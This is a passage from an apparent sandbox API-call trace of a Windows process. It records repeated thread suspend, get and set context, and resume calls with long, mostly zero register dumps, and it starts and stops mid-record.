[51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0169.110] ResumeThread (hThread=0x1d4) returned 0x1 [0169.110] CloseHandle (hObject=0x1d4) returned 1 [0169.110] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0169.220] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0169.311] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0169.335] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d4) returned 1 [0169.335] SuspendThread (hThread=0x1d4) returned 0x0 [0169.335] GetThreadContext (in: hThread=0x1d4, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fc68, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fd55d60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0169.335] SetThreadContext (hThread=0x1d4, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019fc60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0169.336] ResumeThread (hThread=0x1d4) returned 0x1 [0169.336] CloseHandle (hObject=0x1d4) returned 1 [0169.336] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0169.432] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0169.542] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0169.715] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0169.841] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d4) returned 1 [0169.841] SuspendThread (hThread=0x1d4) returned 0x0 [0169.841] GetThreadContext (in: hThread=0x1d4, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f800, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f8c2380, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0169.843] SetThreadContext (hThread=0x1d4, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f7f8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0169.844] ResumeThread (hThread=0x1d4) returned 0x1 [0169.844] CloseHandle (hObject=0x1d4) returned 1 [0169.844] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0169.896] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0169.964] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0170.071] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x1d8) returned 1 [0170.071] SuspendThread (hThread=0x1d8) returned 0x0 [0170.071] GetThreadContext (in: hThread=0x1d8, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019eac8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f911860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, 